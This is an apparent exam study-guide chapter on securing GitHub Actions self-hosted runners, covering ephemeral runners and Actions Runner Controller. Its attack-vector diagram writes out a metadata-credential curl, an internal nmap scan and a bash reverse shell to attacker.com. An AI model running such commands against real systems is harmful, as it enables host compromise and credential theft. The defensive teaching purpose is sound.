7.3 Self-Hosted Runner Security & Ephemeral Runners

Self-Hosted Runner Security & Ephemeral Runners

Deploying self-hosted runners gives organizations immense flexibility, control over hardware, and direct access to private networks. However, self-hosted runners introduce significant security responsibilities. Because workflow steps execute arbitrary shell code, an improperly secured runner can become an entry point for lateral movement, credential theft, supply chain tampering, and persistent internal compromise.

Understanding the security threat model of self-hosted runners, the critical risks of public repositories, the configuration of ephemeral runners, and the architecture of Actions Runner Controller (ARC) on Kubernetes is a heavily tested domain on the GH-200 examination.

---

1. The Public Repository Hard Security Rule

GitHub's official documentation and enterprise security frameworks establish a fundamental rule:

[!CAUTION] THE GOLDEN RULE OF SELF-HOSTED RUNNER SECURITY: NEVER use self-hosted runners on public repositories. Self-hosted runners should strictly be reserved for private or internal repositories where all contributors with pull request access are trusted corporate entities.

+-----------------------------------------------------------------------------+
|              ATTACK VECTOR: UNTRUSTED PUBLIC PULL REQUEST EXECUTION         |
|                                                                             |
|   1. Malicious Actor forks your public repository                           |
|   2. Attacker modifies workflow file (.github/workflows/ci.yml) or tests    |
|   3. Attacker adds malicious bash step:                                     |
|        run: |                                                               |
|          curl -s http://169.254.169.254/latest/meta-data/iam/secrets...     |
|          nmap -sS 10.0.0.0/16                                               |
|          bash -i >& /dev/tcp/attacker.com/4444 0>&1                         |
|   4. Attacker opens Pull Request against public repository                  |
|   5. Self-hosted runner in your private VPC picks up job and executes code  |
|   6. Result: Host compromised, private network scanned, cloud IAM stolen   |
+-----------------------------------------------------------------------------+

Why Public Repositories Present Critical Danger

When a public repository executes workflows on self-hosted runners, any user on the internet can fork the repository, modify the workflow or build scripts, and open a pull request. If the workflow triggers on pull_request (or if an maintainer approves the workflow run), the untrusted code executes directly inside your private network or on-premises datacenter.

Once code executes on the self-hosted runner, the attacker can:

• Query cloud instance metadata services (e.g., AWS http://169.254.169.254) to steal instance IAM role credentials.
• Scan private subnets (10.0.0.0/8, 192.168.0.0/16) for unauthenticated databases, internal APIs, and Kubernetes control planes.
• Install persistent rootkits, cryptominers, or reverse shells on the host operating system.
• Read environment variables, secrets, and repository code processed by previous or concurrent jobs.

[!IMPORTANT] Organization Policy Protection: GitHub disables public repository access to self-hosted runner groups by default. In Organization and Enterprise settings, the policy "Allow public repositories to use self-hosted runner groups" must remain disabled.

---

2. Persistence Risks on Long-Lived Self-Hosted Runners

In traditional self-hosted runner setups, a single persistent virtual machine or bare-metal server executes dozens of workflow jobs over weeks or months. This persistent model introduces severe architectural risks:

                      PERSISTENT RUNNER CONTAMINATION RISKS

 [Job 1: Build Frontend] ──> Leaves node_modules & temp files in _work/
            │
            ▼
 [Job 2: Malicious/Buggy]──> Modifies /etc/resolv.conf, installs trojan binary in /tmp
            │
            ▼
 [Job 3: Deploy Production]─> Reads tainted /tmp binary; exports PROD_DB_PASS to disk
            │
            ▼
 [Job 4: Test Integration] ─> Reads leftover PROD_DB_PASS from disk; exfiltrates data

Core Vectors of Persistent State Pollution

1. Workspace Residue (_work/): By default, the runner checks out code into subdirectories of _work/. If a job fails before cleanup or malicious code writes hidden files, subsequent jobs running on the same host can read or execute those leftover artifacts.
2. Dangling Background Processes: If a previous job starts background processes, web servers, or network listeners that fail to terminate cleanly, those processes continue running during subsequent jobs, consuming memory or intercepting network traffic.
3. Docker Daemon Pollution: On hosts running Docker, containers, volumes, networks, and untrusted images created by Job A persist on the host daemon, accessible by Job B.
4. Cached Credentials: Toolchains frequently cache credentials in user home directories (e.g., ~/.npmrc, ~/.docker/config.json, ~/.gitconfig, ~/.aws/credentials). A succeeding job can read these credentials if they are not explicitly wiped.

---

3. Ephemeral Runners (./config.sh --ephemeral)

To achieve the clean isolation of GitHub-hosted runners while retaining the network and hardware advantages of private infrastructure, GitHub provides Ephemeral Runners.

An ephemeral runner is a self-hosted runner configured to accept and execute exactly one workflow job before automatically de-registering and terminating.

# Register an ephemeral self-hosted runner
./config.sh \
  --url https://github.com/my-org \
  --token AB12CD34EF56GH78IJ90KLMN \
  --name ephemeral-runner-01 \
  --ephemeral \
  --unattended

# Start the runner
./run.sh

Ephemeral Lifecycle Mechanics

1. Single-Job Execution: The runner polls GitHub, receives one job assignment, and executes all workflow steps.
2. Automatic De-registration: As soon as the job finishes (whether the job succeeded, failed, or was cancelled), the runner daemon notifies GitHub and automatically removes its registration from the runner pool.
3. Process Termination: The Runner.Listener process cleanly shuts down and exits.
4. Infrastructure Recycling: The underlying infrastructure automation (such as an AWS Auto Scaling Group lifecycle hook, Azure VMSS script, or Kubernetes operator) detects process exit, destroys the VM/container instance, and provisions a brand-new, clean instance from a pristine base image.

---

4. Actions Runner Controller (ARC) on Kubernetes

For enterprise Kubernetes environments, Actions Runner Controller (ARC) is GitHub's official Kubernetes operator designed to orchestrate scalable, ephemeral self-hosted runner infrastructure.

+-----------------------------------------------------------------------------+
|               ACTIONS RUNNER CONTROLLER (ARC) ARCHITECTURE                  |
|                                                                             |
|   +---------------------------------------------------------------------+   |
|   |                   GitHub Actions Control Plane                      |   |
|   +---------------------------------------------------------------------+   |
|               ▲                                          │                  |
|               │ 1. Outbound HTTPS Session                │                  |
|               │    (Detects queued jobs)                 │                  |
|               │                                          │ 2. Dispatches    |
|   +───────────┴──────────────────────────────────────────┼──────────────+   |
|   │ Kubernetes Cluster                                   │              │   |
|   │                                                      ▼              │   |
|   │  +------------------------+             +------------------------+  │   |
|   │  |   arc-runner-listener  |             |  Ephemeral Runner Pod  |  │   |
|   │  |   (Lightweight Poller) |             |  (Single Job Lifecycle)|  │   |
|   │  +------------------------+             |                        |  │   |
|   │               │                         |  +------------------+  |  │   |
|   │               ▼ 3. Scales Pods          |  | runner container |  |  │   |
|   │  +------------------------+             |  +------------------+  |  │   |
|   │  |  ARC Controller Manager|────────────>|  | dind / container |  |  │   |
|   │  |  (Manages ScaleSets)   |             |  +------------------+  |  │   |
|   │  +------------------------+             +------------------------+  │   |
|   +─────────────────────────────────────────────────────────────────────+   |
+-----------------------------------------------------------------------------+

Core ARC Custom Resources & Components

• Controller Manager (gha-runner-scale-set-controller): The Kubernetes operator controller that watches Custom Resource Definitions (AutoscalingRunnerSet) and provisions runner pods dynamically.
• Listener Pod (gha-runner-scale-set-listener): A lightweight client pod that establishes an outbound HTTPS connection to GitHub Actions, listens for queued jobs targeting the runner scale set, and signals the controller to scale up runner pods.
• AutoscalingRunnerSet CRD: Defines the runner pool configuration, target GitHub organization/repository, min/max pod replicas, container image, resource requests/limits, and labels.
• Ephemeral Runner Pods: Kubernetes pods containing the runner container that spin up on demand, execute a single job, and are terminated and garbage-collected immediately upon job completion.

Container Builds in Kubernetes: DinD vs. Rootless Builders

When running CI/CD workflows inside containerized Kubernetes runner pods, jobs frequently need to build container images (docker build). Platform teams must choose an isolation strategy:

---

5. Security Threat Model Comparison Matrix